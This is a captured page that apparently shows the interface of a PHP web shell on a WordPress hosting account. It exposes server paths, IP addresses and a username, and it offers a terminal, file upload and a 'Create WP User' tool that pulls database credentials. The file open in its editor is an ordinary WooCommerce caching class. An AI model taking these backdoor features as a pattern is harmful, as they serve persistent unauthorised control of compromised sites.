Linux webm017.cluster130.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid x86_64
PHP/7.4.33
服务器IP :
10.130.20.17
& 您的IP :
216.73.216.193
域名 :
无法读取 [ /etc/named.conf ]
用户 :
koaigpw
上传
终端
新建文件
新建文件夹
Create WP User
登出
+
/
home
/
koaigpw
/
budomat_30102025
/
wp-content
/
plugins
/
woocommerce
/
vendor
/
pelago
/
emogrifier
/
src
/
Caching
/
[ 返回根目录 ]
名称
大小
权限
修改时间
操作
..
-
-
-
SimpleStringCache.php
2.02 KB
-rw-r--r--
2025-08-13 01:18
>_
终端
关闭 ✕
输入 'help' 查看可用命令。
koaigpw@
>
新建文件
文件名
取消
创建
重命名
新名称
取消
重命名
Create WordPress User
Auto (baca dari file CMS)
Manual (isi kredensial DB)
代码编辑器 :
SimpleStringCache.php
<?php declare(strict_types=1); namespace Pelago\Emogrifier\Caching; /** * This cache caches string values with string keys. It is not PSR-6-compliant. * * Usage: * * ```php * $cache = new SimpleStringCache(); * $cache->set($key, $value); * … * if ($cache->has($key) { * $cachedValue = $cache->get($value); * } * ``` * * @internal */ class SimpleStringCache { /** * @var array<string, string> */ private $values = []; /** * Checks whether there is an entry stored for the given key. * * @param string $key the key to check; must not be empty * * @throws \InvalidArgumentException */ public function has(string $key): bool { $this->assertNotEmptyKey($key); return isset($this->values[$key]); } /** * Returns the entry stored for the given key, and throws an exception if the value does not exist * (which helps keep the return type simple). * * @param string $key the key to of the item to retrieve; must not be empty * * @return string the retrieved value; may be empty * * @throws \BadMethodCallException */ public function get(string $key): string { if (!$this->has($key)) { throw new \BadMethodCallException('You can only call `get` with a key for an existing value.', 1625996246); } return $this->values[$key]; } /** * Sets or overwrites an entry. * * @param string $key the key to of the item to set; must not be empty * @param string $value the value to set; can be empty * * @throws \BadMethodCallException */ public function set(string $key, string $value): void { $this->assertNotEmptyKey($key); $this->values[$key] = $value; } /** * @throws \InvalidArgumentException */ private function assertNotEmptyKey(string $key): void { if ($key === '') { throw new \InvalidArgumentException('Please provide a non-empty key.', 1625995840); } } }
关闭
保存